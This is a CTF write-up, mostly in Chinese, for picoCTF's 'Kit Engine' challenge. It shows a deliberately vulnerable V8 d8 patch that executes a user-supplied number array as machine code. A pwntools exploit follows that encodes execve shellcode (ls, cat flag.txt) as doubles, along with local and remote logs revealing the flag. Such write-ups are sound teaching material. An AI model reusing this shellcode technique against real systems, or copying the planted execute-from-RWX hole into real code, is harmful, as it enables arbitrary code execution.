PicoCTF - Kit Engine

PicoCTF - Kit Engine

Background

Google V8 Engine

V8 引擎是 Google 做出來讓 JS 跟瀏覽器溝通的的開源專案,這個引擎被使用的非常廣泛,在 Chrome 瀏覽器跟 Node.js ,以及桌面應用程式框架 Electron 之中都有他的身影。而在 V8 出現前,最早最早的 JavaScript 引擎,叫做 SpiderMonkey ,同時也是另一個知名瀏覽器 FireFox 的渲染引擎。

Using d8

d8 is V8’s own developer shell.

d8 is useful for running some JavaScript locally or debugging changes you have made to V8. Building V8 using GN for x64 outputs a d8 binary in out.gn/x64.optdebug/d8. You can call d8 with the –help argument for more information about usage and flags.

Convert Bytes to Floating Point Numbers?

1
2
3
4
5
6
7
>>> import struct
>>> struct.pack('f', 3.141592654)
b'\xdb\x0fI@'
>>> struct.unpack('f', b'\xdb\x0fI@')
(3.1415927410125732,)
>>> struct.pack('4f', 1.0, 2.0, 3.0, 4.0)
'\x00\x00\x80?\x00\x00\x00@\x00\x00@@\x00\x00\x80@'

Source code

:::spoiler Patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..35195b9261 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -979,6 +979,53 @@ struct ModuleResolutionData {
 
 }  // namespace
 
+uint64_t doubleToUint64_t(double d){
+  union {
+    double d;
+    uint64_t u;
+  } conv = { .d = d };
+  return conv.u;
+}
+
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  __asm__("int3");
+}
+
+void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  Isolate* isolate = args.GetIsolate();
+  if(args.Length() != 1) {
+    return;
+  }
+
+  double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  if (func == (double *)-1) {
+    printf("Unable to allocate memory. Contact admin\n");
+    return;
+  }
+
+  if (args[0]->IsArray()) {
+    Local<Array> arr = args[0].As<Array>();
+
+    Local<Value> element;
+    for (uint32_t i = 0; i < arr->Length(); i++) {
+      if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
+        Local<Number> val = element.As<Number>();
+        func[i] = val->Value();
+      }
+    }
+
+    printf("Memory Dump. Watch your endianness!!:\n");
+    for (uint32_t i = 0; i < arr->Length(); i++) {
+      printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
+    }
+
+    printf("Starting your engine!!\n");
+    void (*foo)() = (void(*)())func;
+    foo();
+  }
+  printf("Done\n");
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2248,15 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
+  // Add challenge builtin, and remove some unintented solutions
+  global_template->Set(isolate, "AssembleEngine", FunctionTemplate::New(isolate, AssembleEngine));
+  global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
-
   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write));
-  global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
   if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-  // Prevent fuzzers from creating side effects.
-  if (!i::FLAG_fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
 
 #ifdef V8_FUZZILLI
   global_template->Set(
@@ -2243,11 +2265,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
       FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
 #endif  // V8_FUZZILLI
 
-  if (i::FLAG_expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
-
   return global_template;
 }
 
@@ -2449,10 +2466,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
 
-  isolate->SetHostImportModuleDynamicallyCallback(
+  /*isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
-      Shell::HostInitializeImportMetaObject);
+      Shell::HostInitializeImportMetaObject);*/
 
 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..4591d27f65 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,9 @@ class Shell : public i::AllStatic {
     kNoProcessMessageQueue = false
   };
 
+  static void AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<Value> name, PrintResult print_result,
                             ReportExceptions report_exceptions,

:::

Recon

這一題很有趣,不過我原本不知道v8或d8是啥東東,以為是類似老舊攝影機???但看了12的WP,發現沒有想像中的複雜,首先他給了一個d8(也就是local端可以使用的v8,類似psysh的感覺,可以執行js的環境),然後他有給一個patch,所以不用管其他的部分,只要專注在他patch的內容即可。

  1. diff 從patch file可以看得出來他新實作了三個function: uint64_t doubleToUint64_t(double d), void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args), void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args),其中BreakpointAssembleEngine都是繼承Shell class,然後AssembleEngine需要傳入args的參數
  2. Analyze AssembleEngine Function 在patch的33行中,會判斷傳入的args是不是array,然後array中每一個element都要是number,接著就會把value放到前面定義的func(其實就是function pointer),再後面的for loop做的事情是把func中每一個element轉data type,從double轉成unsinged integer 64,接著就直接call這個function
  3. Construct Payload 基於以上觀察,我們知道AssembleEngine可以直接執行我們給他的shellcode,只不過需要花心思在他的data type檢查,也就是args需要是array,且每一個element都必須是double才行

Exploit - Build Shell Code & Transfer Data Type

from pwn import *
import struct

context.arch = 'amd64'

if args.REMOTE:
    ls = asm(shellcraft.execve(b"/bin/ls", ["ls"]))
    cat = asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"]))
    r = remote('mercury.picoctf.net', 48700)
else:
    ls = b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.cho.mr\x01H1\x04$H\x89\xe7hmr\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
    cat = b'j\x01\xfe\x0c$H\xb8/bin/catPH\x89\xe7h.txtH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8b`u\x01gm`fH1\x04$1\xf6Vj\x0c^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
    r = process(['python', 'server.py'])
log.info(f'ls shellcode: {ls}')
log.info(f'cat flag.txt shellcode: {cat}')

def Transfer2DoubleArray(shellcode):
    shell_array = []
    if len(shellcode) % 8 > 0:
        shellcode += (8 - len(shellcode) % 8) * b'\x00'
    for i in range(0, len(shellcode), 8):
        double_tmp = struct.unpack('d', shellcode[i:i+8])[0]
        shell_array.append(double_tmp)
    
    return shell_array



payload = f'AssembleEngine({Transfer2DoubleArray(ls)})'
r.recvuntil(b'Provide size. Must be < 5k:')
r.sendline(str(len(payload)).encode())
r.recvline()
r.sendline(payload.encode())
print(r.recvall().decode())
r.close()

if args.REMOTE:
    r = remote('mercury.picoctf.net', 48700)
else:
    r = process(['python', 'server.py'])
payload = f'AssembleEngine({Transfer2DoubleArray(cat)})'
r.recvuntil(b'Provide size. Must be < 5k:')
r.sendline(str(len(payload)).encode())
r.recvline()
r.sendline(payload.encode())
print(r.recvall().decode())

:::spoiler Local Result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python exp.py
[+] Starting local process '/home/sbk6401/anaconda3/envs/CTF/bin/python': pid 19347
[*] ls shellcode: b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.cho.mr\x01H1\x04$H\x89\xe7hmr\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
[*] cat flag.txt shellcode: b'j\x01\xfe\x0c$H\xb8/bin/catPH\x89\xe7h.txtH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8b`u\x01gm`fH1\x04$1\xf6Vj\x0c^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
[+] Receiving all data: Done (334B)
[*] Process '/home/sbk6401/anaconda3/envs/CTF/bin/python' stopped with exit code 0 (pid 19347)
AssembleEngine([7.748604185565308e-304, 7.001521162788231e+194, 1.773290430551938e-288, 1.0748503232447379e-301, 7.748605141607601e-304, 1.776650735790609e-302, 3.6509617888350745e+206, 4.1942076e-316])
File written. Running. Timeout is 20s
Run Complete
Stdout b'd8\nexp-nickchen.py\nexp.py\nflag.txt\nserver.py\nsource\n'
Stderr b''

[+] Starting local process '/home/sbk6401/anaconda3/envs/CTF/bin/python': pid 19366
[+] Receiving all data: Done (340B)
[*] Process '/home/sbk6401/anaconda3/envs/CTF/bin/python' stopped with exit code 0 (pid 19366)
AssembleEngine([8.191473375206089e-79, 3.775826202043335e+79, 1.1205295651588473e+253, 7.748604185565308e-304, 2.460307022775963e+257, 1.7734484618746183e-288, 4.089989556334856e+40, 1.7766596360849696e-302, 3.6509617888350745e+206, 4.1942076e-316])
File written. Running. Timeout is 20s
Run Complete
Stdout b'picoCTF{test_132}'
Stderr b''

::: :::spoiler Remote Result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python exp.py REMOTE
[+] Opening connection to mercury.picoctf.net on port 48700: Done
[*] ls shellcode: b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.cho.mr\x01H1\x04$H\x89\xe7hmr\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
[*] cat flag.txt shellcode: b'j\x01\xfe\x0c$H\xb8/bin/catPH\x89\xe7h.txtH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8b`u\x01gm`fH1\x04$1\xf6Vj\x0c^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
[+] Receiving all data: Done (334B)
[*] Closed connection to mercury.picoctf.net port 48700
AssembleEngine([7.748604185565308e-304, 7.001521162788231e+194, 1.773290430551938e-288, 1.0748503232447379e-301, 7.748605141607601e-304, 1.776650735790609e-302, 3.6509617888350745e+206, 4.1942076e-316])
File written. Running. Timeout is 20s
Run Complete
Stdout b'd8\nflag.txt\nserver.py\nsource.tar.gz\nxinet_startup.sh\n'
Stderr b''

[+] Opening connection to mercury.picoctf.net on port 48700: Done
[+] Receiving all data: Done (362B)
[*] Closed connection to mercury.picoctf.net port 48700
AssembleEngine([8.191473375206089e-79, 3.775826202043335e+79, 1.1205295651588473e+253, 7.748604185565308e-304, 2.460307022775963e+257, 1.7734484618746183e-288, 4.089989556334856e+40, 1.7766596360849696e-302, 3.6509617888350745e+206, 4.1942076e-316])
File written. Running. Timeout is 20s
Run Complete
Stdout b'picoCTF{vr00m_vr00m_48f07b402a4020e0}\n'
Stderr b''

:::

Flag: picoCTF{vr00m_vr00m_48f07b402a4020e0}

Reference